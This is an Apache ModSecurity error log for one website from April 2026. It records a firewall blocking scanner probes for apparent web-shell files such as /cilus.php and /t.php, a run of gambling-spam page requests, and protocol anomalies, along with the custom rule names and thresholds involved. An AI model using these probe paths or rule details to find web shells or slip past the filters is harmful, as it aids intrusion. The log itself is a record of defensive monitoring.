[Tue Apr 14 23:59:31.749970 2026] [:error] [pid 3810:tid 3831] [client 128.251.16.122:58059] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "ad5kY8qc5XaYZhFXVGfsFgAAAZI"]
[Tue Apr 14 23:59:36.109495 2026] [:error] [pid 3810:tid 3813] [client 128.251.16.122:56529] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "ad5kaMqc5XaYZhFXVGfsIAAAAYA"]
[Tue Apr 14 23:59:40.228160 2026] [:error] [pid 60074:tid 60083] [client 128.251.16.122:54475] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "ad5kbOtqnEmNU9vpHCnfLgAAAMc"]
[Tue Apr 14 23:59:41.179896 2026] [:error] [pid 59986:tid 60043] [client 128.251.16.122:52263] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "ad5kbZ6axKeW6bX4H7fYEQAAAFc"]
[Tue Apr 14 23:59:43.247819 2026] [:error] [pid 59986:tid 60038] [client 128.251.16.122:51196] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "ad5kb56axKeW6bX4H7fYHAAAAFI"]
[Tue Apr 14 23:59:44.463842 2026] [:error] [pid 59987:tid 60067] [client 128.251.16.122:59741] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d.php"] [unique_id "ad5kcFWpk-Tfi6_vLKpe0QAAAJQ"]
[Wed Apr 15 02:51:35.691782 2026] [:error] [pid 62297:tid 62373] [client 43.166.226.186:50076] [client 43.166.226.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad6Mt6vogcWlrafOEaHmVwAAARM"]
[Wed Apr 15 09:01:44.360766 2026] [:error] [pid 51186:tid 51212] [client 49.51.204.74:54790] [client 49.51.204.74] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ad7jeFfx1CjK_ZPfY1Q4tQAAAVg"]
[Wed Apr 15 09:04:30.294112 2026] [:error] [pid 51186:tid 51194] [client 105.113.124.70:15424] [client 105.113.124.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.113.124.70, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ad7kHlfx1CjK_ZPfY1Q53gAAAUY"]
[Wed Apr 15 15:04:57.488830 2026] [:error] [pid 11383:tid 11404] [client 54.37.252.119:48236] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ad84mTOMRk2pAgm2-j6-YAAAAAk"]
[Wed Apr 15 15:04:59.987338 2026] [:error] [pid 12433:tid 12452] [client 54.37.252.119:46114] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "ad84m7wxDHWF005pP_6R9wAAARE"]
[Wed Apr 15 15:05:02.675425 2026] [:error] [pid 11385:tid 11455] [client 54.37.252.119:46116] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ad84nh_mZoXMMCiUoKUuRAAAAMY"]
[Wed Apr 15 15:05:05.542314 2026] [:error] [pid 11384:tid 11435] [client 54.37.252.119:46128] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "ad84oXOhpt4MrQIXF7B64wAAAE0"]
[Wed Apr 15 15:05:08.001787 2026] [:error] [pid 12396:tid 12416] [client 54.37.252.119:55038] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "ad84pMCQWGYUWgxc5kjmYAAAAJI"]
[Wed Apr 15 15:05:10.983301 2026] [:error] [pid 12433:tid 12447] [client 54.37.252.119:55046] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "ad84prwxDHWF005pP_6SBQAAAQw"]
[Wed Apr 15 15:05:13.579173 2026] [:error] [pid 11384:tid 11433] [client 54.37.252.119:55050] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ad84qXOhpt4MrQIXF7B66wAAAEs"]
[Wed Apr 15 15:05:16.010783 2026] [:error] [pid 11475:tid 11493] [client 54.37.252.119:55064] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ad84rJ7upE98bj816HO81QAAAVA"]
[Wed Apr 15 15:05:18.899807 2026] [:error] [pid 12396:tid 12421] [client 54.37.252.119:60822] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "ad84rsCQWGYUWgxc5kjmZwAAAJc"]
[Wed Apr 15 15:05:21.672178 2026] [:error] [pid 12396:tid 12398] [client 54.37.252.119:60838] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ad84scCQWGYUWgxc5kjmawAAAIA"]
[Wed Apr 15 15:05:24.097126 2026] [:error] [pid 12433:tid 12456] [client 54.37.252.119:60848] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ad84tLwxDHWF005pP_6SCQAAARU"]
[Wed Apr 15 15:05:26.564528 2026] [:error] [pid 11475:tid 11489] [client 54.37.252.119:60862] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "ad84tp7upE98bj816HO82gAAAUw"]
[Wed Apr 15 15:05:29.282159 2026] [:error] [pid 11384:tid 11433] [client 54.37.252.119:58904] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ad84uXOhpt4MrQIXF7B69wAAAEs"]
[Wed Apr 15 15:05:31.892111 2026] [:error] [pid 12433:tid 12436] [client 54.37.252.119:58914] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ad84u7wxDHWF005pP_6SDwAAAQE"]
[Wed Apr 15 15:05:34.294658 2026] [:error] [pid 11383:tid 11419] [client 54.37.252.119:58926] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ad84vjOMRk2pAgm2-j6-hQAAABg"]
[Wed Apr 15 15:05:36.657011 2026] [:error] [pid 12433:tid 12439] [client 54.37.252.119:58932] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ad84wLwxDHWF005pP_6SHwAAAQQ"]
[Wed Apr 15 15:05:39.161542 2026] [:error] [pid 11383:tid 11398] [client 54.37.252.119:33344] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ad84wzOMRk2pAgm2-j6-iAAAAAM"]
[Wed Apr 15 15:05:41.762962 2026] [:error] [pid 12433:tid 12436] [client 54.37.252.119:33352] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ad84xbwxDHWF005pP_6SLgAAAQE"]
[Wed Apr 15 15:05:44.165958 2026] [:error] [pid 11384:tid 11440] [client 54.37.252.119:33354] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ad84yHOhpt4MrQIXF7B7IQAAAFI"]
[Wed Apr 15 15:05:46.802970 2026] [:error] [pid 11475:tid 11478] [client 54.37.252.119:49230] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ad84yp7upE98bj816HO85wAAAUE"]
[Wed Apr 15 15:05:49.104632 2026] [:error] [pid 12396:tid 12406] [client 54.37.252.119:49246] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ad84zcCQWGYUWgxc5kjmfAAAAIg"]
[Wed Apr 15 15:05:51.599117 2026] [:error] [pid 12396:tid 12409] [client 54.37.252.119:49252] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ad84z8CQWGYUWgxc5kjmhQAAAIs"]
[Wed Apr 15 15:05:54.053420 2026] [:error] [pid 12433:tid 12451] [client 54.37.252.119:49268] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ad840rwxDHWF005pP_6SOQAAARA"]
[Wed Apr 15 15:06:17.553379 2026] [:error] [pid 11384:tid 11430] [client 54.37.252.119:53786] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "ad846XOhpt4MrQIXF7B7cgAAAEg"]
[Wed Apr 15 15:06:19.966772 2026] [:error] [pid 11475:tid 11487] [client 54.37.252.119:52436] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "ad84657upE98bj816HO9FAAAAUo"]
[Wed Apr 15 15:06:22.452139 2026] [:error] [pid 11383:tid 11396] [client 54.37.252.119:52448] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ad847jOMRk2pAgm2-j6-2wAAAAE"]
[Wed Apr 15 15:06:24.930413 2026] [:error] [pid 11383:tid 11414] [client 54.37.252.119:52450] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "ad848DOMRk2pAgm2-j6-5QAAABM"]
[Wed Apr 15 15:06:27.423080 2026] [:error] [pid 11475:tid 11490] [client 54.37.252.119:56212] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "ad84857upE98bj816HO9FgAAAU0"]
[Wed Apr 15 15:06:29.837052 2026] [:error] [pid 12433:tid 12440] [client 54.37.252.119:56214] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "ad849bwxDHWF005pP_6SpAAAAQU"]
[Wed Apr 15 15:06:32.380115 2026] [:error] [pid 11384:tid 11441] [client 54.37.252.119:56220] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ad84-HOhpt4MrQIXF7B7jwAAAFM"]
[Wed Apr 15 15:06:34.948167 2026] [:error] [pid 12433:tid 12458] [client 54.37.252.119:56230] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ad84-rwxDHWF005pP_6SrwAAARc"]
[Wed Apr 15 15:06:37.685727 2026] [:error] [pid 12396:tid 12402] [client 54.37.252.119:40424] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ad84_cCQWGYUWgxc5kjmtAAAAIQ"]
[Wed Apr 15 15:06:40.134060 2026] [:error] [pid 12433:tid 12445] [client 54.37.252.119:40438] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ad85ALwxDHWF005pP_6SuAAAAQo"]
[Wed Apr 15 15:06:42.644492 2026] [:error] [pid 12433:tid 12456] [client 54.37.252.119:40452] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ad85ArwxDHWF005pP_6SuwAAARU"]
[Wed Apr 15 15:06:44.893921 2026] [:error] [pid 11384:tid 11431] [client 54.37.252.119:40456] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ad85BHOhpt4MrQIXF7B7yAAAAEk"]
[Wed Apr 15 15:06:47.216484 2026] [:error] [pid 12433:tid 12456] [client 54.37.252.119:51674] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ad85B7wxDHWF005pP_6SyAAAARU"]
[Wed Apr 15 15:06:49.684838 2026] [:error] [pid 11383:tid 11419] [client 54.37.252.119:51676] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ad85CTOMRk2pAgm2-j6_IAAAABg"]
[Wed Apr 15 15:06:52.411330 2026] [:error] [pid 11475:tid 11477] [client 54.37.252.119:51680] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ad85DJ7upE98bj816HO9HQAAAUA"]
[Wed Apr 15 15:06:54.842480 2026] [:error] [pid 11385:tid 11465] [client 54.37.252.119:51694] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ad85Dh_mZoXMMCiUoKUu4wAAANA"]
[Wed Apr 15 15:06:57.580360 2026] [:error] [pid 11475:tid 11488] [client 54.37.252.119:58556] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ad85EZ7upE98bj816HO9JAAAAUs"]
[Wed Apr 15 15:07:00.343761 2026] [:error] [pid 11385:tid 11467] [client 54.37.252.119:58568] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ad85FB_mZoXMMCiUoKUu7AAAANI"]
[Wed Apr 15 20:49:19.206039 2026] [:error] [pid 31053:tid 31063] [client 216.73.216.211:28812] [client 216.73.216.211] ModSecurity: Warning. Pattern match "^$" at REQUEST_HEADERS:user-agent. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "120"] [id "217240"] [rev "3"] [msg "COMODO WAF: Empty User Agent Header||measureyourbrand.com.au|F|5"] [data "REQUEST_HEADERS:user-agent="] [severity "NOTICE"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "ad-JTxcEkLCmvF0fjDfY1AAAAIc"]
[Wed Apr 15 21:53:04.602667 2026] [:error] [pid 23913:tid 23937] [client 172.161.107.89:40269] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "ad-YQFUaK3MLdSaLOyi1FQAAAVY"]
[Wed Apr 15 21:53:05.368890 2026] [:error] [pid 30957:tid 31013] [client 172.161.107.89:62807] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "ad-YQX5gwVEVXHfVSiqsOQAAAFg"]
[Wed Apr 15 21:53:06.301076 2026] [:error] [pid 23913:tid 23920] [client 172.161.107.89:61342] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "ad-YQlUaK3MLdSaLOyi1HgAAAUU"]
